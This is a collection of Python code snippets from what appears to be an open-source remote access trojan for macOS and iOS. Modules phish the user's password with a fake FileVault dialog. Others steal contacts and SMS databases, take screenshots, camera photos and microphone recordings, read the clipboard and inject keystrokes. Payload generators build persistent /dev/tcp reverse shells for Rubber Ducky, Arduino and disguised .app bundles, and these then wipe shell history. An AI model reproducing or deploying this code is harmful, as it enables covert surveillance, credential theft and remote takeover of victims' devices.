コード例 #1
0
    def run(self,session,cmd_data):
        payload = """
        tell application "Finder"
            activate

            set myprompt to "Type your password to allow System Preferences to make changes"
                        
            set ans to "Cancel"

            repeat
                try
                    set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "FileVaultIcon.icns" in bundle "/System/Library/CoreServices/CoreTypes.bundle"
                    set ans to button returned of d_returns
                    set mypass to text returned of d_returns
                    if mypass > "" then exit repeat
                end try
            end repeat
                        
            try
                do shell script "echo " & quoted form of mypass
            end try
        end tell
        """
        cmd_data.update({"cmd":"applescript","args":payload})
        password = session.send_command(cmd_data).strip()
        #display response
        h.info_info("Response: "+password.decode())
        return ""
コード例 #2
0
ファイル: multihandler.py プロジェクト: starling021/rat-n
    def interact(self):
        h.info_general("Listening on port {0}...".format(self.server.port))
        h.info_info("Use \"help\" for commands.")
        while 1:
            try:
                input_data = input(self.handle).strip(" ")
                if not input_data:
                    continue
                cmd = input_data.split()[0]
                args = input_data[len(cmd):].strip()
                if cmd == "interact":
                    self.interact_with_session(args)
                elif cmd == "close":
                    self.close_session(args)
                elif cmd == "sessions":
                    self.list_sessions()
                elif cmd == "help":
                    self.show_commands()
                elif cmd == "exit":
                    self.stop_server()
                    return
                else:
                    h.info_error("Unrecognized command!")

            except KeyboardInterrupt:
                sys.stdout.write("\n")
                self.stop_server()
                return
コード例 #3
0
ファイル: locate_ios.py プロジェクト: starling021/rat-n
 def run(self,session,cmd_data):
     if session.send_command(cmd_data).decode().split("\n")[0] == "Unable to get Coordinates":
         h.info_error("Failed to locate device!")
     else:
         latitude = session.send_command(cmd_data).decode().split("\n")[0].strip("Latitude : ")
         longitude = session.send_command(cmd_data).decode().split("\n")[1].strip("Longitude : ")
         h.info_info("Latitude: "+latitude)
         h.info_info("Longitude: "+longitude)
コード例 #4
0
 def run(self, session, cmd_data):
     h.info_info("Press Ctrl-C to stop.")
     h.info_info("Device keyboard:")
     while 1:
         key = getch()
         if key == chr(3):
             return ""
         payload = """tell application "System Events"
         keystroke \"""" + key + """\"
         end tell"""
         session.send_command({"cmd": "applescript", "args": payload})
     return ""
コード例 #5
0
    def run(self, session, cmd_data):
        if len(cmd_data['args'].split()) < 1:
            print(self.usage)
            return

        w = os.environ['OLDPWD']
        os.chdir(w)
        dest = cmd_data['args'].split()[0]
        if os.path.isdir(dest):
            if os.path.exists(dest):
                h.info_general("Getting contacts...")
                data = session.download_file(
                    '/var/mobile/Library/AddressBook/AddressBook.sqlitedb')
                if data:
                    f = open(os.path.join(dest, 'contacts.sqlitedb'), 'wb')
                    f.write(data)
                    f.close()
                    if dest[-1] == "/":
                        h.info_general("Saving to " + dest +
                                       "contacts.sqlitedb...")
                        time.sleep(1)
                        h.info_info("Saved to " + dest + "contacts.sqlitedb.")
                    else:
                        h.info_general("Saving to " + dest +
                                       "/contacts.sqlitedb...")
                        time.sleep(1)
                        h.info_info("Saved to " + dest + "/contacts.sqlitedb.")
                else:
                    h.info_error("Failed to get contacts!")
            else:
                h.info_error("Local directory: " + dest + ": does not exist!")
        else:
            rp = os.path.split(dest)[0]
            if rp == "":
                rp = "."
            else:
                pass
            if os.path.exists(rp):
                if os.path.isdir(rp):
                    pr = os.path.split(dest)[0]
                    rp = os.path.split(dest)[1]
                    h.info_general("Getting contacts...")
                    data = session.download_file(
                        '/var/mobile/Library/AddressBook/AddressBook.sqlitedb')
                    if data:
                        f = open(os.path.join(pr, rp), 'wb')
                        f.write(data)
                        f.close()
                        h.info_general("Saving to " + dest + "...")
                        time.sleep(1)
                        h.info_info("Saved to " + dest + ".")
                    else:
                        h.info_error("Failed to get contacts!")
                else:
                    h.info_error("Error: " + rp + ": not a directory!")
            else:
                h.info_error("Local directory: " + rp + ": does not exist!")
        g = os.environ['HOME']
        os.chdir(g + "/mouse")
コード例 #6
0
ファイル: screenshot_macos.py プロジェクト: pirenga/mouse
    def run(self, session, cmd_data):
        if len(cmd_data['args'].split()) < 1:
            print(self.usage)
            return

        dest = cmd_data['args'].split()[0]
        if os.path.isdir(dest):
            if os.path.exists(dest):
                h.info_general("Taking screenshot...")
                result = json.loads(session.send_command(cmd_data))
                if 'error' in result:
                    h.info_error("Failed to take screenshot!")
                    return
                if 'size' in result:
                    size = int(result['size'])
                    data = session.sock_receive_data(size)
                    f = open(os.path.join(dest, 'screenshot.jpg'), 'wb')
                    f.write(data)
                    f.close()
                if dest[-1] == "/":
                    h.info_general("Saving to " + dest + "screenshot.jpg...")
                    time.sleep(1)
                    h.info_info("Saved to " + dest + "screenshot.jpg.")
                else:
                    h.info_general("Saving to " + dest + "/screenshot.jpg...")
                    time.sleep(1)
                    h.info_info("Saved to " + dest + "/screenshot.jpg.")
            else:
                h.info_error("Local directory: " + dest + ": does not exist!")
        else:
            rp = os.path.split(dest)[0]
            if rp == "":
                rp = "."
            else:
                pass
            if os.path.exists(rp):
                if os.path.isdir(rp):
                    pr = os.path.split(dest)[0]
                    rp = os.path.split(dest)[1]
                    h.info_general("Taking screenshot...")
                    result = json.loads(session.send_command(cmd_data))
                    if 'error' in result:
                        h.info_error("Failed to take screenshot!")
                        return
                    if 'size' in result:
                        size = int(result['size'])
                        data = session.sock_receive_data(size)
                        f = open(os.path.join(pr, rp), 'wb')
                        f.write(data)
                        f.close()
                    h.info_general("Saving to " + dest + "...")
                    time.sleep(1)
                    h.info_info("Saved to " + dest + ".")
                else:
                    h.info_error("Error: " + rp + ": not a directory!")
            else:
                h.info_error("Local directory: " + rp + ": does not exist!")
コード例 #7
0
ファイル: getsms_ios.py プロジェクト: pirenga/mouse
    def run(self, session, cmd_data):
        if len(cmd_data['args'].split()) < 1:
            print(self.usage)
            return

        dest = cmd_data['args'].split()[0]
        if os.path.isdir(dest):
            if os.path.exists(dest):
                h.info_general("Getting SMS...")
                data = session.download_file('/var/mobile/Library/SMS/sms.db')
                if data:
                    f = open(os.path.join(dest, 'sms.db'), 'wb')
                    f.write(data)
                    f.close()
                    if dest[-1] == "/":
                        h.info_general("Saving to " + dest + "sms.db...")
                        time.sleep(1)
                        h.info_info("Saved to " + dest + "sms.db.")
                    else:
                        h.info_general("Saving to " + dest + "/sms.db...")
                        time.sleep(1)
                        h.info_info("Saved to " + dest + "/sms.db.")
                else:
                    h.info_error("Failed to get SMS!")
            else:
                h.info_error("Local directory: " + dest + ": does not exist!")
        else:
            rp = os.path.split(dest)[0]
            if rp == "":
                rp = "."
            else:
                pass
            if os.path.exists(rp):
                if os.path.isdir(rp):
                    pr = os.path.split(dest)[0]
                    rp = os.path.split(dest)[1]
                    h.info_general("Getting SMS...")
                    data = session.download_file(
                        '/var/mobile/Library/SMS/sms.db')
                    if data:
                        f = open(os.path.join(pr, rp), 'wb')
                        f.write(data)
                        f.close()
                        h.info_general("Saving to " + dest + "...")
                        time.sleep(1)
                        h.info_info("Saved to " + dest + ".")
                    else:
                        h.info_error("Failed to get SMS!")
                else:
                    h.info_error("Error: " + rp + ": not a directory!")
            else:
                h.info_error("Local directory: " + rp + ": does not exist!")
コード例 #8
0
 def run(self,session,cmd_data):
     h.info_info("PID: "+session.send_command(cmd_data).decode())
コード例 #9
0
	def run(self,server):
		while 1:
			shell = input(h.info_general_raw("Target shell: ")).strip(" ")
			if shell == "":
				shell = "sh"
			persistence = input(h.info_question_raw("Make persistent? (y/n): ")).strip(" ").lower()
			if persistence == "y":
				shell_command = "while true; do $("+shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1); sleep 5; done & "
				break
			else:
				shell_command = shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1;"
				break
		shell_command += "history -wc;killall Terminal"
		path = input(h.info_general_raw("Output path: ")).strip(" ")
		if path == "":
			path = "payload.txt"
		if os.path.isdir(path):
			if os.path.exists(path):
				if path[-1] == "/":
					payload_save_path = path + "payload.txt"
				else:
					payload_save_path = path + "/payload.txt"
			else:
				h.info_error("Local directory: "+path+": does not exist!")
				input("Press enter to continue...").strip(" ")
				os.system("touch .nopayload")
				return
		else:
			direct = os.path.split(path)[0]
			if direct == "":
				direct = "."
			else:
				pass
			if os.path.exists(direct):
				if os.path.isdir(direct):
					payload_save_path = path
				else:
					h.info_error("Error: "+direct+": not a directory!")
					input("Press enter to continue...").strip(" ")
					os.system("touch .nopayload")
					return
			else:
				h.info_error("Local directory: "+direct+": does not exist!")
				input("Press enter to continue...").strip(" ")
				os.system("touch .nopayload")
				return
		h.info_general("Creating payload...")
		payload = """\
DELAY 500
COMMAND SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 500
STRING """+shell_command+"""
DELAY 500
ENTER
DELAY 500"""
		h.info_general("Saving to " + payload_save_path + "...")
		f = open(payload_save_path,"w")
		f.write(payload)
		f.close()
		h.info_info("Saved to " + payload_save_path + ".")
コード例 #10
0
ファイル: download_universal.py プロジェクト: pirenga/mouse
    def run(self, session, cmd_data):
        if len(cmd_data['args'].split()) < 2:
            print(self.usage)
            return

        payload = """if [[ -d """ + cmd_data['args'].split()[0] + """ ]]
		then
		echo 0
		fi"""
        dchk = session.send_command({"cmd": "", "args": payload})
        chk = session.send_command({
            "cmd": "stat",
            "args": cmd_data['args'].split()[0]
        })
        if chk[:4] != "stat":
            if dchk == "0\n":
                h.info_error("Error: " + cmd_data['args'].split()[0] +
                             ": not a file!")
            else:
                if os.path.isdir(cmd_data['args'].split()[1]):
                    if os.path.exists(cmd_data['args'].split()[1]):
                        rp = os.path.split(cmd_data['args'].split()[0])[1]
                        data = session.download_file(
                            cmd_data['args'].split()[0])
                        h.info_general("Downloading {0}...".format(rp))
                        if data:
                            f = open(
                                os.path.join(cmd_data['args'].split()[1], rp),
                                'wb')
                            f.write(data)
                            f.close()
                            if cmd_data['args'].split()[1][-1] == "/":
                                h.info_general("Saving to " +
                                               cmd_data['args'].split()[1] +
                                               "" + rp + "...")
                                time.sleep(1)
                                h.info_info("Saved to " +
                                            cmd_data['args'].split()[1] + "" +
                                            rp + ".")
                            else:
                                h.info_general("Saving to " +
                                               cmd_data['args'].split()[1] +
                                               "/" + rp + "...")
                                time.sleep(1)
                                h.info_info("Saved to " +
                                            cmd_data['args'].split()[1] + "/" +
                                            rp + ".")
                    else:
                        h.info_error("Local directory: " +
                                     cmd_data['args'].split()[1] +
                                     ": does not exist!")
                else:
                    rp = os.path.split(cmd_data['args'].split()[1])[0]
                    if rp == "":
                        rp = "."
                    else:
                        pass
                    if os.path.exists(rp):
                        if os.path.isdir(rp):
                            prr = os.path.split(cmd_data['args'].split()[1])[0]
                            rp = os.path.split(cmd_data['args'].split()[1])[1]
                            pr = os.path.split(cmd_data['args'].split()[0])[1]
                            data = session.download_file(
                                cmd_data['args'].split()[0])
                            h.info_general("Downloading {0}...".format(pr))
                            if data:
                                f = open(os.path.join(prr, rp), 'wb')
                                f.write(data)
                                f.close()
                                h.info_general("Saving to {0}...".format(
                                    cmd_data['args'].split()[1]))
                                time.sleep(1)
                                h.info_info("Saved to " +
                                            cmd_data['args'].split()[1] + ".")
                        else:
                            h.info_error("Error: " + rp + ": not a directory!")
                    else:
                        h.info_error("Local directory: " + rp +
                                     ": does not exists!")
        else:
            h.info_error("Remote file: " + cmd_data['args'].split()[0] +
                         ": does not exist!")
コード例 #11
0
    def run(self, session, cmd_data):
        if not cmd_data['args']:
            print(self.usage)
            return
        else:
            paths = re.split(r'(?<!\\) ', cmd_data['args'].rstrip())
            if len(paths) < 2:
                print("Usage: upload <local_path> <remote_path>")
                return

            if len(paths) > 2:
                print("Usage: upload <local_path> <remote_path>")
                return

            local_dir = os.path.split(paths[0])[0]
            local_file = os.path.split(paths[0])[1]

            remote_dir = os.path.split(paths[1])[0]
            remote_file = os.path.split(paths[1])[1]

            w = os.environ['OLDPWD']
            os.chdir(w)

            if os.path.exists(paths[0]):
                if os.path.isdir(paths[0]):
                    h.info_error("Error: " + paths[0] + ": not a file!")
                    g = os.environ['HOME']
                    os.chdir(g + "/mouse")
                    return
                else:
                    pass
            else:
                h.info_error("Local file: " + paths[0] + ": does not exist!")
                g = os.environ['HOME']
                os.chdir(g + "/mouse")
                return

            raw = paths[1]
            payload = """if [[ -d """ + raw + """ ]]
            then
            echo 0
            fi"""
            dchk = session.send_command({"cmd": "", "args": payload})
            chk = session.send_command({"cmd": "stat", "args": raw})
            if dchk == "0\n":
                if chk[:4] != "stat":
                    h.info_general("Uploading " + local_file + "...")
                    session.upload_file(paths[0], raw, local_file)
                    if raw[-1] == "/":
                        h.info_general("Saving to " + raw + "" + local_file +
                                       "...")
                        time.sleep(1)
                        h.info_info("Saved to " + raw + "" + local_file + ".")
                    else:
                        h.info_general("Saving to " + raw + "/" + local_file +
                                       "...")
                        time.sleep(1)
                        h.info_info("Saved to " + raw + "/" + local_file + ".")
                else:
                    h.info_error("Remote directory: " + raw +
                                 ": does not exist!")
            else:
                schk = session.send_command({
                    "cmd": "stat",
                    "args": remote_dir
                })
                if schk[:4] != "stat":
                    h.info_general("Uploading " + local_file + "...")
                    session.upload_file(paths[0], remote_dir, remote_file)
                    h.info_general("Saving to " + raw + "...")
                    time.sleep(1)
                    h.info_info("Saved to " + raw + ".")
                else:
                    h.info_error("Remote directory: " + remote_dir +
                                 ": does not exist!")
            g = os.environ['HOME']
            os.chdir(g + "/mouse")
コード例 #12
0
ファイル: picture_macos.py プロジェクト: pirenga/mouse
	def run(self,session,cmd_data):
		if len(cmd_data['args'].split()) < 1:
			print(self.usage)
			return

		dest = cmd_data['args'].split()[0]
		if os.path.isdir(dest):
			if os.path.exists(dest):
				h.info_general("Taking picture...")
				response = json.loads(session.send_command(cmd_data))
				try:
					success = response["status"]
					if success == 1:
						size = int(response["size"])
						data = session.sock_receive_data(size)
						f = open(os.path.join(dest,'picture.jpg'),'wb')
						f.write(data)
						f.close()
				except:
					h.info_error("Failed to take picture!")
					return
				if dest[-1] == "/":
					h.info_general("Saving to "+dest+"picture.jpg...")
					time.sleep(1)
					h.info_info("Saved to "+dest+"picture.jpg.")
				else:
					h.info_general("Saving to "+dest+"/picture.jpg...")
					time.sleep(1)
					h.info_info("Saved to "+dest+"/picture.jpg.")
			else:
				h.info_error("Local directory: "+dest+": does not exist!")
		else:
			rp = os.path.split(dest)[0]
			if rp == "":
				rp = "."
			else:
				pass
			if os.path.exists(rp):
				if os.path.isdir(rp):
					pr = os.path.split(dest)[0]
					rp = os.path.split(dest)[1]
					h.info_general("Taking picture...")
					response = json.loads(session.send_command(cmd_data))
					try:
						success = response["status"]
						if success == 1:
							size = int(response["size"])
							data = session.sock_receive_data(size)
							f = open(os.path.join(pr,rp),'wb')
							f.write(data)
							f.close()
					except:
						h.info_error("Failed to take picture!")
						return
					h.info_general("Saving to "+dest+"...")
					time.sleep(1)
					h.info_info("Saved to "+dest+".")
				else:
					h.info_error("Error: "+rp+": not a directory!")
			else:
				h.info_error("Local directory: "+rp+": does not exist!")
コード例 #13
0
ファイル: pasteboard_macos.py プロジェクト: pirenga/mouse
 def run(self, session, cmd_data):
     h.info_info("Pasteboard contents:")
     print(session.send_command(cmd_data).decode())
コード例 #14
0
ファイル: mic_macos.py プロジェクト: pirenga/mouse
    def run(self, session, cmd_data):
        if not cmd_data['args']:
            print(self.usage)
            return
        else:
            if cmd_data['args'].split()[0] == "start":
                pass
            else:
                if len(cmd_data['args'].split()) < 2 or cmd_data['args'].split(
                )[0] != "stop":
                    print(self.usage)
                    return

        if cmd_data['args'].split()[0] == "stop":
            w = os.environ['OLDPWD']
            os.chdir(w)
            dest = cmd_data['args'].split()[1]
            cmd_data['args'] = "stop"
            if os.path.isdir(dest):
                if os.path.exists(dest):
                    h.info_general("Stopping record...")
                    result = json.loads(session.send_command(cmd_data))
                    if 'error' in result:
                        h.info_error("Failed to record mic!")
                        return
                    elif 'status' in result and result['status'] == 1:
                        data = session.download_file("/tmp/.avatmp")
                        f = open(os.path.join(dest, 'mic.caf'), 'wb')
                        f.write(data)
                        f.close()
                    if dest[-1] == "/":
                        h.info_general("Saving to " + dest + "mic.caf...")
                        time.sleep(1)
                        h.info_info("Saved to " + dest + "mic.caf.")
                    else:
                        h.info_general("Saving to " + dest + "/mic.caf...")
                        time.sleep(1)
                        h.info_info("Saved to " + dest + "/mic.caf.")
                else:
                    h.info_error("Local directory: " + dest +
                                 ": does not exist!")
            else:
                rp = os.path.split(dest)[0]
                if rp == "":
                    rp = "."
                else:
                    pass
                if os.path.exists(rp):
                    if os.path.isdir(rp):
                        pr = os.path.split(dest)[0]
                        rp = os.path.split(dest)[1]
                        h.info_general("Stopping record...")
                        result = json.loads(session.send_command(cmd_data))
                        if 'error' in result:
                            h.info_error("Failed to record mic!")
                            return
                        elif 'status' in result and result['status'] == 1:
                            data = session.download_file("/tmp/.avatmp")
                            f = open(os.path.join(pr, rp), 'wb')
                            f.write(data)
                            f.close()
                        h.info_general("Saving to " + dest + "...")
                        time.sleep(1)
                        h.info_info("Saved to " + dest + ".")
                    else:
                        h.info_error("Error: " + rp + ": not a directory!")
                else:
                    h.info_error("Local directory: " + rp +
                                 ": does not exist!")
            g = os.environ['HOME']
            os.chdir(g + "/mouse")

        elif cmd_data['args'].split()[0] == "start":
            cmd_data['args'] = "record"
            h.info_general("Starting record...")
            session.send_command(cmd_data)
コード例 #15
0
ファイル: lastapp_ios.py プロジェクト: pirenga/mouse
 def run(self, session, cmd_data):
     h.info_info("Last application: " +
                 session.send_command(cmd_data).decode())
コード例 #16
0
	def run(self,server):
		while 1:
			shell = input(h.info_general_raw("Target shell: ")).strip(" ")
			if shell == "":
				shell = "sh"
			persistence = input(h.info_question_raw("Make persistent? (y/n): ")).strip(" ").lower()
			if persistence == "y":
				shell_command = "while true; do $("+shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1); sleep 5; done & "
				break
			else:
				shell_command = shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1;"
				break
		shell_command += "history -wc;killall Terminal"
		path = input(h.info_general_raw("Output path: ")).strip(" ")
		if path == "":
			path = "payload.ino"
		w = os.environ['OLDPWD']
		os.chdir(w)
		if os.path.isdir(path):
			if os.path.exists(path):
				if path[-1] == "/":
					payload_save_path = path + "payload.ino"
				else:
					payload_save_path = path + "/payload.ino"
			else:
				h.info_error("Local directory: "+path+": does not exist!")
				g = os.environ['HOME']
				os.chdir(g + "/mouse")
				input("Press enter to continue...").strip(" ")
				os.system("touch .nopayload")
				return
		else:
			direct = os.path.split(path)[0]
			if direct == "":
				direct = "."
			else:
				pass
			if os.path.exists(direct):
				if os.path.isdir(direct):
					payload_save_path = path
				else:
					h.info_error("Error: "+direct+": not a directory!")
					g = os.environ['HOME']
					os.chdir(g + "/mouse")
					input("Press enter to continue...").strip(" ")
					os.system("touch .nopayload")
					return
			else:
				h.info_error("Local directory: "+direct+": does not exist!")
				g = os.environ['HOME']
				os.chdir(g + "/mouse")
				input("Press enter to continue...").strip(" ")
				os.system("touch .nopayload")
				return
		h.info_general("Creating payload...")
		payload = """\
#include "Keyboard.h"

void typeKey(uint8_t key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

void setup()
{
  Keyboard.begin();

  delay(500);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(' ');
  Keyboard.releaseAll();

  delay(500);
  Keyboard.print(F("terminal"));

  delay(500);
  typeKey(KEY_RETURN);

  delay(500);
  Keyboard.print(F(\""""+shell_command+"""\"));

  delay(500);
  typeKey(KEY_RETURN);

  Keyboard.end();
}

void loop() {}"""
		h.info_general("Saving to " + payload_save_path + "...")
		f = open(payload_save_path,"w")
		f.write(payload)
		f.close()
		h.info_info("Saved to " + payload_save_path + ".")
		g = os.environ['HOME']
		os.chdir(g + "/mouse")
コード例 #17
0
ファイル: app_macos_payload.py プロジェクト: pirenga/mouse
    def run(self, server):
        while 1:
            shell = input(h.info_general_raw("Target shell: ")).strip(" ")
            if shell == "":
                shell = "sh"
            icon = input(h.info_general_raw("Application icon: ")).strip(" ")
            w = os.environ['OLDPWD']
            os.chdir(w)
            if os.path.exists(icon):
                if os.path.isdir(icon):
                    h.info_error("Error: " + run + ": is a directory!")
                    g = os.environ['HOME']
                    os.chdir(g + "/mouse")
                    input("Press enter to continue...").strip(" ")
                    os.system("touch .nopayload")
                    return
            else:
                h.info_error("Input file: " + run + ": does not exist!")
                g = os.environ['HOME']
                os.chdir(g + "/mouse")
                input("Press enter to continue...").strip(" ")
                os.system("touch .nopayload")
                return
            g = os.environ['HOME']
            os.chdir(g + "/mouse")
            persistence = input(h.info_question_raw(
                "Make persistent? (y/n): ")).strip(" ").lower()
            if persistence == "y":
                shell_command = "while true; do $(" + shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                break
            else:
                shell_command = shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                break
        shell_command += "history -wc;killall Terminal"
        path = input(h.info_general_raw("Output path: ")).strip(" ")
        if path == "":
            path = "payload.app"
        w = os.environ['OLDPWD']
        os.chdir(w)
        if os.path.isdir(path):
            if os.path.exists(path):
                if path[-1] == "/":
                    payload_save_path = path + "payload.app"
                else:
                    payload_save_path = path + "/payload.app"
            else:
                h.info_error("Local directory: " + dest + ": does not exist!")
                g = os.environ['HOME']
                os.chdir(g + "/mouse")
                input("Press enter to continue...").strip(" ")
                os.system("touch .nopayload")
                return
        else:
            direct = os.path.split(path)[0]
            if direct == "":
                direct = "."
            else:
                pass
            if os.path.exists(direct):
                if os.path.isdir(direct):
                    payload_save_path = path
                else:
                    h.info_error("Error: " + direct + ": not a directory!")
                    g = os.environ['HOME']
                    os.chdir(g + "/mouse")
                    input("Press enter to continue...").strip(" ")
                    os.system("touch .nopayload")
                    return
            else:
                h.info_error("Local directory: " + direct +
                             ": does not exist!")
                g = os.environ['HOME']
                os.chdir(g + "/mouse")
                input("Press enter to continue...").strip(" ")
                os.system("touch .nopayload")
                return
        h.info_general("Creating payload...")
        os.system("cp -r data/app/payload.app " + path + " > /dev/null")
        if icon != "":
            os.system("mv " + icon + " " + path +
                      "/Contents/Resources/payload.icns > /dev/null")
        payload = """\
#! /usr/bin/env bash
""" + shell_command
        h.info_general("Saving to " + path + "...")
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_info("Saved to " + path + ".")
        os.system("chmod +x " + path + "/Contents/MacOS/payload.sh")
        g = os.environ['HOME']
        os.chdir(g + "/mouse")
コード例 #18
0
ファイル: volume_macos.py プロジェクト: pirenga/mouse
 def run(self, session, cmd_data):
     payload = "output volume of (get volume settings)"
     cmd_data.update({"cmd": "applescript", "args": payload})
     h.info_info("Volume level: " + session.send_command(cmd_data).decode())
コード例 #19
0
ファイル: picture_ios.py プロジェクト: pirenga/mouse
    def run(self, session, cmd_data):
        if len(cmd_data['args'].split()) < 2 or (
                cmd_data['args'].split()[0] != "front"
                and cmd_data['args'].split()[0] != "back"):
            print(self.usage)
            return

        w = os.environ['OLDPWD']
        os.chdir(w)
        dest = cmd_data['args'].split()[1]
        cmd_data['args'] = cmd_data['args'].split()[0]
        if os.path.isdir(dest):
            if os.path.exists(dest):
                if cmd_data['args'] == "back":
                    cmd_data['args'] = False
                else:
                    cmd_data['args'] = True
                h.info_general("Taking picture...")
                try:
                    response = json.loads(session.send_command(cmd_data))
                    if 'success' in response:
                        size = int(response["size"])
                        data = session.sock_receive_data(size)
                        f = open(os.path.join(dest, 'picture.jpg'), 'wb')
                        f.write(data)
                        f.close()
                    else:
                        if 'error' in response:
                            h.info_error("Failed to take picture!")
                            return
                        else:
                            h.info_error("Failed to take picture!")
                            return
                except:
                    h.info_error("Failed to take picture!")
                    return
                if dest[-1] == "/":
                    h.info_general("Saving to " + dest + "picture.jpg...")
                    time.sleep(1)
                    h.info_info("Saved to " + dest + "picture.jpg.")
                else:
                    h.info_general("Saving to " + dest + "/picture.jpg...")
                    time.sleep(1)
                    h.info_info("Saved to " + dest + "/picture.jpg.")
            else:
                h.info_error("Local directory: " + dest + ": does not exist!")
        else:
            rp = os.path.split(dest)[0]
            if rp == "":
                rp = "."
            else:
                pass
            if os.path.exists(rp):
                if os.path.isdir(rp):
                    pr = os.path.split(dest)[0]
                    rp = os.path.split(dest)[1]
                    if cmd_data['args'] == "back":
                        cmd_data['args'] = False
                    else:
                        cmd_data['args'] = True
                    h.info_general("Taking picture...")
                    try:
                        response = json.loads(session.send_command(cmd_data))
                        if 'success' in response:
                            size = int(response["size"])
                            data = session.sock_receive_data(size)
                            f = open(os.path.join(pr, rp), 'wb')
                            f.write(data)
                            f.close()
                        else:
                            if 'error' in response:
                                h.info_error("Failed to take picture!")
                                return
                            else:
                                h.info_error("Failed to take picture!")
                                return
                    except:
                        h.info_error("Failed to take picture!")
                        return
                    h.info_general("Saving to " + dest + "...")
                    time.sleep(1)
                    h.info_info("Saved to " + dest + ".")
                else:
                    h.info_error("Error: " + rp + ": not a directory!")
            else:
                h.info_error("Local directory: " + rp + ": does not exist!")
        g = os.environ['HOME']
        os.chdir(g + "/mouse")
コード例 #20
0
 def run(self, session, cmd_data):
     h.info_info("Battery level: " +
                 session.send_command(cmd_data).decode()[15:])
コード例 #21
0
 def run(self, session, cmd_data):
     h.info_info("User has been idle for: " +
                 session.send_command(cmd_data).decode())
コード例 #22
0
ファイル: volume_ios.py プロジェクト: pirenga/mouse
 def run(self, session, cmd_data):
     cmd_data = {'cmd': 'getvol', 'args': ''}
     h.info_info("Volume level: " + session.send_command(cmd_data).decode())